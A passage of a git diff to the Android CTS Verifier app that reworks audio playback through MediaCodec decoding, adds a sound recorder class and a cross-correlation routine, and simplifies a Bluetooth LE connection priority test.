+                                            case AudioFormat.ENCODING_PCM_8BIT:
+                                                sValue = (short) ((decodedBuf.getChar(i) - 128) *
+                                                        128);
+                                                break;
+                                        }
+                                        mAudioShortArray[index] = sValue;
+                                        index++;
+                                    }
+                                    mDecoderPipe.write(mAudioShortArray, 0, index);
+                                    mPipe.write(mAudioShortArray, 0, index);
+
+                                    mCodec.getOutputBuffer(outputBufIndex).position(0);
+                                    mCodec.releaseOutputBuffer(outputBufIndex,
+                                            false/*render to surface*/);
+                                    if ((buffInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) !=
+                                            0) {
+                                        outputEosSignalled = true;
+                                    }
+                                }
+                            } else if (outputRes == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                                log("[w] INFO_OUTPUT_FORMAT_CHANGED at decode round " +
+                                        decodeRounds);
+                                decodeRounds = 0;
+                            } else if (outputRes == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                                log("[w] INFO_TRY_AGAIN_LATER at decode round " + decodeRounds);
+                                if (!mLooping) {
+                                    outputEosSignalled = true; //quit!
+                                }
+                            }
+                        }
+                    }
+
+                    if (outputEosSignalled) {
+                        log ("note: outputEosSignalled");
+                    }
+                }
+                else {
+                    try {
+                        Thread.sleep(10);
+                    } catch (InterruptedException e) {
+                        e.printStackTrace();
+                    }
+                }
             }
         }
+        log("done running thread");
     }
 
     public void setBalance(float balance) {
@@ -109,43 +272,147 @@
         }
     }
 
+    boolean inputEosSignalled = false;
+    boolean outputEosSignalled = false;
+
     public void setSoundWithResId(Context context, int resId) {
+
+        setSoundWithResId(context, resId, true);
+    }
+
+    public void setSoundWithResId(Context context, int resId, boolean looping) {
+        log("setSoundWithResId " + resId + ", looping: " + looping);
+        mLooping = looping;
+        mContext = context;
+        if (mContext == null) {
+            log("Context can't be null");
+            return;
+        }
+
         boolean playing = isPlaying();
+        if (playing) {
+            play(false);
+        }
         //release player
         releasePlayer();
+        isInitialized = false;
+
+        log("loading uri: " + resId);
         mResId = resId;
+        Uri uri = Uri.parse("android.resource://com.android.cts.verifier/" + resId);
         if (mUseMediaPlayer) {
             mMediaPlayer = new MediaPlayer();
             try {
                 log("opening resource with stream type: " + mStreamType);
                 mMediaPlayer.setAudioStreamType(mStreamType);
-                mMediaPlayer.setDataSource(context.getApplicationContext(),
-                        Uri.parse("android.resource://com.android.cts.verifier/" + resId));
+                mMediaPlayer.setDataSource(mContext.getApplicationContext(),
+                        uri);
                 mMediaPlayer.prepare();
             } catch (IOException e) {
                 e.printStackTrace();
+                log("Error: " + e.toString());
             }
-            mMediaPlayer.setLooping(true);
+            mMediaPlayer.setLooping(mLooping);
             setBalance(mBalance);
-        } else {
-            mMinPlayBufferSizeInBytes = AudioTrack.getMinBufferSize(mSamplingRate,
-                    mChannelConfigOut, mAudioFormat);
-
-            mMinBufferSizeInSamples = mMinPlayBufferSizeInBytes / 2;
-            mAudioShortArray = new short[mMinBufferSizeInSamples * 4];
-
-            mAudioTrack = new AudioTrack(mStreamType,
-                    mSamplingRate,
-                    mChannelConfigOut,
-                    mAudioFormat,
-                    mMinPlayBufferSizeInBytes,
-                    AudioTrack.MODE_STREAM /* FIXME runtime test for API level 9 ,
-                mSessionId */);
-            mPipe.flush();
             isInitialized = true;
-        }
 
-        log("done preparing media player");
+        } else {
+            synchronized (mLock) {
+                //TODO: encapsulate MediaPlayer and AudioTrack related code into separate classes
+                // with common interface. Simplify locking code.
+                mDecoderPipe.flush();
+                mPipe.flush();
+
+                if (mCodec != null)
+                    mCodec = null;
+                try {
+                    mExtractor = new MediaExtractor();
+                    mExtractor.setDataSource(mContext.getApplicationContext(), uri, null);
+                    final int trackCount = mExtractor.getTrackCount();
+
+//                    log("Track count: " + trackCount);
+                    // find first audio track
+                    MediaFormat format = null;
+                    String mime = null;
+                    for (int i = 0; i < trackCount; i++) {
+                        format = mExtractor.getTrackFormat(i);
+                        mime = format.getString(MediaFormat.KEY_MIME);
+                        if (mime.startsWith("audio/")) {
+                            mExtractor.selectTrack(i);
+//                            log("found track " + i + " with MIME = " + mime);
+                            break;
+                        }
+                    }
+                    if (format == null) {
+                        log("found 0 audio tracks in " + uri);
+                    }
+                    MediaCodecList mclist = new MediaCodecList(MediaCodecList.ALL_CODECS);
+
+                    String myDecoderName = mclist.findDecoderForFormat(format);
+//                    log("my decoder name = " + myDecoderName);
+
+                    mCodec = MediaCodec.createByCodecName(myDecoderName);
+
+//                    log("[ok] about to configure codec with " + format);
+                    mCodec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
+
+                    // prepare decoding
+                    mCodec.start();
+
+                    inputEosSignalled = false;
+                    outputEosSignalled = false;
+
+                    MediaFormat outputFormat = format;
+
+                    printAudioFormat(outputFormat);
+
+                    //int sampleRate
+                    mInputSampleRate = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_SAMPLE_RATE, 48000);
+                    //int channelCount
+                    mInputChannelCount = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_CHANNEL_COUNT, 1);
+
+                    mInputAudioFormat = getMediaFormatInteger(outputFormat,
+                            MediaFormat.KEY_PCM_ENCODING,
+                            AudioFormat.ENCODING_PCM_16BIT);
+
+                    int channelMask = channelMaskFromCount(mInputChannelCount);
+                    int buffSize = AudioTrack.getMinBufferSize(mInputSampleRate, channelMask,
+                            mInputAudioFormat);
+
+                    AudioAttributes.Builder aab = new AudioAttributes.Builder()
+                            .setLegacyStreamType(mStreamType);
+
+                    AudioFormat.Builder afb = new AudioFormat.Builder()
+                            .setEncoding(mInputAudioFormat)
+                            .setSampleRate(mInputSampleRate)
+                            .setChannelMask(channelMask);
+
+                    AudioTrack.Builder atb = new AudioTrack.Builder()
+                            .setAudioAttributes(aab.build())
+                            .setAudioFormat(afb.build())
+                            .setBufferSizeInBytes(buffSize)
+                            .setTransferMode(AudioTrack.MODE_STREAM);
+
+                    mAudioTrack = atb.build();
+
+                    mMinPlayBufferSizeInBytes = AudioTrack.getMinBufferSize(mInputSampleRate,
+                            mChannelConfigOut, mInputAudioFormat);
+
+                    mMinBufferSizeInSamples = mMinPlayBufferSizeInBytes / 2;
+                    mAudioShortArray = new short[mMinBufferSizeInSamples * 100];
+                    mAudioTrack.setPlaybackPositionUpdateListener(this);
+                    mAudioTrack.setPositionNotificationPeriod(mBlockSizeSamples);
+                    isInitialized = true;
+                } catch (IOException e) {
+                    e.printStackTrace();
+                    log("Error creating codec or extractor: " + e.toString());
+                }
+            }
+        } //mLock
+
+//        log("done preparing media player");
         if (playing)
             play(true); //start playing if it was playing before
     }
@@ -157,13 +424,46 @@
                 result = mMediaPlayer.isPlaying();
             }
         } else {
-            if (mAudioTrack != null) {
-                result = mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING;
+            synchronized (mLock) {
+                if (mAudioTrack != null) {
+                    result = mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING;
+                }
             }
         }
         return result;
     }
 
+    public boolean isAlive() {
+        if (mUseMediaPlayer) {
+            return true;
+        }
+
+        synchronized (mLock) {
+            if (mPlaybackThread != null) {
+                return mPlaybackThread.isAlive();
+            }
+        }
+        return false;
+    }
+
+    public void start() {
+        if (!mUseMediaPlayer) {
+            synchronized (mLock) {
+                if (mPlaybackThread == null) {
+                    mPlaybackThread = new Thread(this);
+                    mPlaybackThread.setName("playbackThread");
+                    log("Created playback thread " + mPlaybackThread);
+                }
+
+                if (!mPlaybackThread.isAlive()) {
+                    mPlaybackThread.start();
+                    mPlaybackThread.setPriority(Thread.MAX_PRIORITY);
+                    log("Started playback thread " + mPlaybackThread);
+                }
+            }
+        }
+    }
+
     public void play(boolean play) {
         if (mUseMediaPlayer) {
             if (mMediaPlayer != null) {
@@ -174,15 +474,22 @@
                 }
             }
         } else {
-            if (mAudioTrack != null && isInitialized) {
-                if (play) {
-                    mPipe.flush();
-                    mAudioTrack.flush();
-                    mAudioTrack.play();
-                } else {
-                    mAudioTrack.pause();
+            synchronized (mLock) {
+                log(" called Play : " + play);
+                if (mAudioTrack != null && isInitialized) {
+                    if (play) {
+                        log("Play");
+                        mDecoderPipe.flush();
+                        mPipe.flush();
+                        mAudioTrack.play();
+                    } else {
+                        log("pause");
+                        mAudioTrack.pause();
+                        isRunning = false;
+                    }
                 }
             }
+            start();
         }
     }
 
@@ -198,12 +505,34 @@
             mMediaPlayer = null;
         }
 
-        if (mAudioTrack != null) {
-            mAudioTrack.stop();
-            mAudioTrack.release();
-            mAudioTrack = null;
+        isRunning = false;
+        synchronized (mLock) {
+            if (mAudioTrack != null) {
+                mAudioTrack.stop();
+                mAudioTrack.setPlaybackPositionUpdateListener(null);
+                mAudioTrack.release();
+                mAudioTrack = null;
+            }
+        }
+
+        log("Deleting playback thread " + mPlaybackThread);
+        Thread zeThread = mPlaybackThread;
+        mPlaybackThread = null;
+
+        if (zeThread != null) {
+            log("terminating zeThread...");
+            zeThread.interrupt();
+            try {
+                log("zeThread join...");
+                zeThread.join();
+            } catch (InterruptedException e) {
+                log("issue deleting playback thread " + e.toString());
+                zeThread.interrupt();
+            }
         }
         isInitialized = false;
+        log("Done deleting thread");
+
     }
 
     /*
@@ -212,4 +541,92 @@
     private static void log(String msg) {
         Log.v(LOGTAG, msg);
     }
+
+    private final int getMediaFormatInteger(MediaFormat mf, String name, int defaultValue) {
+        try {
+            return mf.getInteger(name);
+        } catch (NullPointerException e) {
+            log("Warning: MediaFormat " + name +
+                " field does not exist. Using default " + defaultValue); /* no such field */
+        } catch (ClassCastException e) {
+            log("Warning: MediaFormat " + name +
+                    " field unexpected type"); /* field of different type */
+        }
+        return defaultValue;
+    }
+
+    public static int getBytesPerSample(int audioFormat) {
+        switch(audioFormat) {
+            case AudioFormat.ENCODING_PCM_16BIT:
+                return 2;
+            case AudioFormat.ENCODING_PCM_8BIT:
+                return 1;
+            case AudioFormat.ENCODING_PCM_FLOAT:
+                return 4;
+        }
+        return 0;
+    }
+
+    private void printAudioFormat(MediaFormat format) {
+        try {
+            log("channel mask = " + format.getInteger(MediaFormat.KEY_CHANNEL_MASK));
+        } catch (NullPointerException npe) {
+            log("channel mask unknown");
+        }
+        try {
+            log("channel count = " + format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+        } catch (NullPointerException npe) {
+            log("channel count unknown");
+        }
+        try {
+            log("sample rate = " + format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+        } catch (NullPointerException npe) {
+            log("sample rate unknown");
+        }
+        try {
+            log("sample format = " + format.getInteger(MediaFormat.KEY_PCM_ENCODING));
+        } catch (NullPointerException npe) {
+            log("sample format unknown");
+        }
+    }
+
+    public static int channelMaskFromCount(int channelCount) {
+        switch(channelCount) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+            case 3:
+                return AudioFormat.CHANNEL_OUT_STEREO | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+            case 4:
+                return AudioFormat.CHANNEL_OUT_FRONT_LEFT |
+                        AudioFormat.CHANNEL_OUT_FRONT_RIGHT | AudioFormat.CHANNEL_OUT_BACK_LEFT |
+                        AudioFormat.CHANNEL_OUT_BACK_RIGHT;
+            case 5:
+                return AudioFormat.CHANNEL_OUT_FRONT_LEFT |
+                        AudioFormat.CHANNEL_OUT_FRONT_RIGHT | AudioFormat.CHANNEL_OUT_BACK_LEFT |
+                        AudioFormat.CHANNEL_OUT_BACK_RIGHT
+                        | AudioFormat.CHANNEL_OUT_FRONT_CENTER;
+            case 6:
+                return AudioFormat.CHANNEL_OUT_5POINT1;
+            default:
+                return 0;
+        }
+    }
+
+    public void periodicNotification(AudioTrack track) {
+    }
+
+    public void markerReached(AudioTrack track) {
+    }
+
+    @Override
+    public void onMarkerReached(AudioTrack track) {
+        markerReached(track);
+    }
+
+    @Override
+    public void onPeriodicNotification(AudioTrack track) {
+        periodicNotification(track);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java
new file mode 100644
index 0000000..8950ec5
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundRecorderObject.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.os.SystemClock;
+import android.util.Log;
+import com.android.cts.verifier.audio.wavelib.*;
+
+public class SoundRecorderObject implements Runnable,
+        AudioRecord.OnRecordPositionUpdateListener {
+    private static final String TAG = "SoundRecorderObject";
+
+    private AudioRecord mRecorder;
+    private int mMinRecordBufferSizeInSamples = 0;
+    private short[] mAudioShortArray;
+
+    private final int mBlockSizeSamples;
+    private final int mSamplingRate;
+    private final int mSelectedRecordSource;
+    private final int mChannelConfig = AudioFormat.CHANNEL_IN_MONO;
+    private final int mAudioFormat = AudioFormat.ENCODING_PCM_16BIT;
+    private final int mBytesPerSample = 2; //pcm int16
+    private Thread mRecordThread;
+
+    public PipeShort mPipe = new PipeShort(65536);
+
+    public SoundRecorderObject(int samplingRate, int blockSize, int recordingSource) {
+        mSamplingRate = samplingRate;
+        mBlockSizeSamples = blockSize;
+        mSelectedRecordSource = recordingSource;
+    }
+
+    public int getAudioSessionId() {
+        if (mRecorder != null) {
+            return mRecorder.getAudioSessionId();
+        }
+        return -1;
+    }
+
+    public void startRecording() {
+        boolean successful = initRecord();
+        if (successful) {
+            startRecordingForReal();
+        } else {
+            Log.v(TAG, "Recorder initialization error.");
+        }
+    }
+
+    private void startRecordingForReal() {
+        // start streaming
+        if (mRecordThread == null) {
+            mRecordThread = new Thread(this);
+            mRecordThread.setName("recordingThread");
+        }
+        if (!mRecordThread.isAlive()) {
+            mRecordThread.start();
+        }
+
+        mPipe.flush();
+
+//        long startTime = SystemClock.uptimeMillis();
+        mRecorder.startRecording();
+        if (mRecorder.getRecordingState() != AudioRecord.RECORDSTATE_RECORDING) {
+            stopRecording();
+            return;
+        }
+        // Log.v(TAG, "Start time: " + (long) (SystemClock.uptimeMillis() - startTime) + " ms");
+    }
+
+    public void stopRecording() {
+        //TODO: consider addin a lock to protect usage
+        stopRecordingForReal();
+    }
+
+    private void stopRecordingForReal() {
+        // stop streaming
+        Thread zeThread = mRecordThread;
+        mRecordThread = null;
+        if (zeThread != null) {
+            zeThread.interrupt();
+            try {
+                zeThread.join();
+            } catch(InterruptedException e) {
+                //restore interrupted status of recording thread
+                zeThread.interrupt();
+            }
+        }
+        // release recording resources
+        if (mRecorder != null) {
+            mRecorder.stop();
+            mRecorder.release();
+            mRecorder = null;
+        }
+    }
+
+    private boolean initRecord() {
+        int minRecordBuffSizeInBytes = AudioRecord.getMinBufferSize(mSamplingRate,
+                mChannelConfig, mAudioFormat);
+        Log.v(TAG,"FrequencyAnalyzer: min buff size = " + minRecordBuffSizeInBytes + " bytes");
+        if (minRecordBuffSizeInBytes <= 0) {
+            return false;
+        }
+
+        mMinRecordBufferSizeInSamples = minRecordBuffSizeInBytes / mBytesPerSample;
+        // allocate the byte array to read the audio data
+
+        mAudioShortArray = new short[mMinRecordBufferSizeInSamples];
+
+        Log.v(TAG, "Initiating record:");
+        Log.v(TAG, "using source " + mSelectedRecordSource);
+        Log.v(TAG, "at " + mSamplingRate + "Hz");
+
+        try {
+            mRecorder = new AudioRecord(mSelectedRecordSource, mSamplingRate,
+                    mChannelConfig, mAudioFormat,
+                    2 * minRecordBuffSizeInBytes /* double size for padding */);
+        } catch (IllegalArgumentException e) {
+            return false;
+        }
+        if (mRecorder.getState() != AudioRecord.STATE_INITIALIZED) {
+            mRecorder.release();
+            mRecorder = null;
+            return false;
+        }
+        mRecorder.setRecordPositionUpdateListener(this);
+        mRecorder.setPositionNotificationPeriod(mBlockSizeSamples / 2);
+        return true;
+    }
+
+    public void periodicNotification(AudioRecord recorder) {}
+    public void markerReached(AudioRecord track) {}
+
+     // ---------------------------------------------------------
+     // Implementation of AudioRecord.OnPeriodicNotificationListener
+     // --------------------
+    @Override
+    public void onPeriodicNotification(AudioRecord recorder) {
+        periodicNotification(recorder);
+    }
+
+    @Override
+    public void onMarkerReached(AudioRecord track) {
+        markerReached(track);
+    }
+
+    // ---------------------------------------------------------
+    // Implementation of Runnable for the audio recording + playback
+    // --------------------
+    public void run() {
+        Thread thisThread = Thread.currentThread();
+        while (!thisThread.isInterrupted()) {
+            // read from native recorder
+            int nSamplesRead = mRecorder.read(mAudioShortArray, 0, mMinRecordBufferSizeInSamples);
+            if (nSamplesRead > 0) {
+                mPipe.write(mAudioShortArray, 0, nSamplesRead);
+            }
+        }
+    }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
index a9cbbd0..39b3ae7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/wavelib/DspBufferMath.java
@@ -326,4 +326,55 @@
         }
         return MATH_RESULT_ERROR;
     }
+
+
+    /**
+     * compute normalized cross correlation r = a (*) b
+     */
+
+    static public <T extends DspBufferDouble> int crossCorrelation(T r, T a, T b) {
+        int size = Math.min(a.getSize(), b.getSize());
+        r.setSize(size);
+
+        //statistics
+        double mean1 = 0; //mean
+        double mean2 = 0;
+        double var1 = 0;  //variance
+        double var2 = 0;
+
+        double sum1 = 0;
+        double sum2 = 0;
+        for (int i = 0; i < size; i++) {
+            sum1 += ((DspBufferDouble) a).mData[i];
+            sum2 += ((DspBufferDouble) b).mData[i];
+        }
+        mean1 = sum1/size;
+        mean2 = sum2/size;
+
+        double temp1 = 0;
+        double temp2 = 0;
+        for (int i = 0; i < size; i++) {
+            temp1 += (((DspBufferDouble) a).mData[i] - mean1)*(((DspBufferDouble) a).mData[i] -
+                    mean1);
+            temp2 += (((DspBufferDouble) b).mData[i] - mean2)*(((DspBufferDouble) b).mData[i] -
+                    mean2);
+        }
+        var1 = temp1/size;
+        var2 = temp2/size;
+
+        double varScaling = Math.sqrt(var1 * var2);
+
+        if (varScaling > 0.0000001) {
+            for (int i = 0; i < size; i++) {
+                ((DspBufferDouble) r).mData[i] = 0;
+                double tempCross = 0;
+                for (int j = 0; j < size - i; j++) {
+                    tempCross += (((DspBufferDouble) a).mData[j] - mean1) *
+                            (((DspBufferDouble) b).mData[i + j] - mean2);
+                }
+                ((DspBufferDouble) r).mData[i] = (float) (tempCross / (size * varScaling));
+            }
+        }
+        return MATH_RESULT_SUCCESS;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 47ea81f..9119aae 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -40,17 +40,12 @@
 public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {

 

     private TestAdapter mTestAdapter;

-    private int mPassed = 0;

+    private boolean mPassed = false;

     private Dialog mDialog;

 

-    private static final int BLE_CONNECTION_HIGH = 0;

-    private static final int BLE_CONNECTION_BALANCED = 1;

-    private static final int BLE_CONNECTION_LOW = 2;

+    private static final int BLE_CONNECTION_UPDATE = 0;

 

-    private static final int PASSED_HIGH = 0x1;

-    private static final int PASSED_BALANCED = 0x2;

-    private static final int PASSED_LOW = 0x4;

-    private static final int ALL_PASSED = 0x7;

+    private static final int ALL_PASSED = 0x1;

 

     private boolean mSecure;

 

@@ -80,9 +75,7 @@
         IntentFilter filter = new IntentFilter();

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED);

         filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

-        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH);

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE);

         filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE);

         filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT);

@@ -140,9 +133,7 @@
 

     private List<Integer> setupTestList() {

         ArrayList<Integer> testList = new ArrayList<Integer>();

-        testList.add(R.string.ble_connection_priority_client_high);

-        testList.add(R.string.ble_connection_priority_client_balanced);

-        testList.add(R.string.ble_connection_priority_client_low);

+        testList.add(R.string.ble_connection_priority_client_description);

         return testList;

     }

 

@@ -157,44 +148,24 @@
     private void executeNextTestImpl() {

         switch (mCurrentTest) {

             case -1: {

-                mCurrentTest = BLE_CONNECTION_HIGH;

+                mCurrentTest = BLE_CONNECTION_UPDATE;

                 Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_HIGH);

+                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

                 startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_high);

+                String msg = getString(R.string.ble_client_connection_priority);

                 Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

             }

                 break;

-            case BLE_CONNECTION_BALANCED: {

-                mCurrentTest = BLE_CONNECTION_LOW;

-                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_LOW_POWER);

-                startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_low);

-                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

-                break;

-            case BLE_CONNECTION_HIGH: {

-                mCurrentTest = BLE_CONNECTION_BALANCED;

-                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_BALANCED);

-                startService(intent);

-                String msg = getString(R.string.ble_client_connection_priority)

-                        + getString(R.string.ble_connection_priority_balanced);

-                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

-                break;

-            case BLE_CONNECTION_LOW:

+            case BLE_CONNECTION_UPDATE: {

                 // all test done

                 closeDialog();

-                if (mPassed == ALL_PASSED) {

+                if (mPassed == true) {

                     Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

                     intent.setAction(BleConnectionPriorityClientService.ACTION_DISCONNECT);

                     startService(intent);

                 }

                 break;

+            }

             default:

                 // something went wrong

                 closeDialog();

@@ -227,21 +198,11 @@
                 showProgressDialog();

                 executeNextTest(3000);

                 break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH:

-                mTestAdapter.setTestPass(BLE_CONNECTION_HIGH);

-                mPassed |= PASSED_HIGH;

+            case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

+                mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

+                mPassed = true;

                 executeNextTest(1000);

                 break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED:

-                mTestAdapter.setTestPass(BLE_CONNECTION_BALANCED);

-                mPassed |= PASSED_BALANCED;

-                executeNextTest(1000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER:

-                mTestAdapter.setTestPass(BLE_CONNECTION_LOW);

-                mPassed |= PASSED_LOW;

-                executeNextTest(100);

-                break;

             case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

                 showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);

                 break;

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
index 38d37bd..1df40f5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
@@ -62,19 +62,11 @@
     public static final String ACTION_BLUETOOTH_MISMATCH_INSECURE =

             "com.android.cts.verifier.bluetooth.action.ACTION_BLUETOOTH_MISMATCH_INSECURE";

 

-    public static final String ACTION_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_CONNECTION_PRIORITY_HIGH =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_HIGH";

-    public static final String ACTION_CONNECTION_PRIORITY_LOW_POWER =

+    public static final String ACTION_CONNECTION_PRIORITY_START =

             "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_LOW_POWER";

 

-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_HIGH =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_HIGH";

-    public static final String ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER =

-            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_LOW_POWER";

+    public static final String ACTION_CONNECTION_PRIORITY_FINISH =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_FINISH";

 

     public static final String ACTION_CLIENT_CONNECT_SECURE =

             "com.android.cts.verifier.bluetooth.action.CLIENT_CONNECT_SECURE";

@@ -84,20 +76,7 @@
     public static final String ACTION_FINISH_DISCONNECT =

             "com.android.cts.verifier.bluetooth.action.FINISH_DISCONNECT";

 

-    public static final long DEFAULT_INTERVAL = 100L;

-    public static final long DEFAULT_PERIOD = 10000L;

-

-    // this string will be used at writing test and connection priority test.

-    private static final String WRITE_VALUE = "TEST";

-

-    private static final UUID SERVICE_UUID =

-            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

-    private static final UUID CHARACTERISTIC_UUID =

-            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

-    private static final UUID START_CHARACTERISTIC_UUID =

-            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

-    private static final UUID STOP_CHARACTERISTIC_UUID =

-            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

+    public static final int NOT_UNDER_TEST = -1;

 

     private BluetoothManager mBluetoothManager;

     private BluetoothAdapter mBluetoothAdapter;

@@ -108,13 +87,12 @@
     private Context mContext;

 

     private String mAction;

-    private long mInterval;

-    private long mPeriod;

-    private Date mStartDate;

-    private int mWriteCount;

     private boolean mSecure;

 

-    private String mPriority;

+    private int mPriority = NOT_UNDER_TEST;

+    private int interval_low = 0;

+    private int interval_balanced = 0;

+    private int interval_high = 0;

 

     private TestTaskQueue mTaskQueue;

 

@@ -129,8 +107,6 @@
         mScanner = mBluetoothAdapter.getBluetoothLeScanner();

         mHandler = new Handler();

         mContext = this;

-        mInterval = DEFAULT_INTERVAL;

-        mPeriod = DEFAULT_PERIOD;

 

         startScan();

     }

@@ -171,15 +147,8 @@
                 case ACTION_CLIENT_CONNECT_SECURE:

                     mSecure = true;

                     break;

-                case ACTION_CONNECTION_PRIORITY_BALANCED:

-                case ACTION_CONNECTION_PRIORITY_HIGH:

-                case ACTION_CONNECTION_PRIORITY_LOW_POWER:

-                    mTaskQueue.addTask(new Runnable() {

-                        @Override

-                        public void run() {

-                            startPeriodicTransmission();

-                        }

-                    });

+                case ACTION_CONNECTION_PRIORITY_START:

+                    myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);

                     break;

                 case ACTION_DISCONNECT:

                     if (mBluetoothGatt != null) {

@@ -194,120 +163,17 @@
         return START_NOT_STICKY;

     }

 

-    private void startPeriodicTransmission() {

-        mWriteCount = 0;

-

-        // Set connection priority

-        switch (mAction) {

-        case ACTION_CONNECTION_PRIORITY_BALANCED:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

-            break;

-        case ACTION_CONNECTION_PRIORITY_HIGH:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);

-            break;

-        case ACTION_CONNECTION_PRIORITY_LOW_POWER:

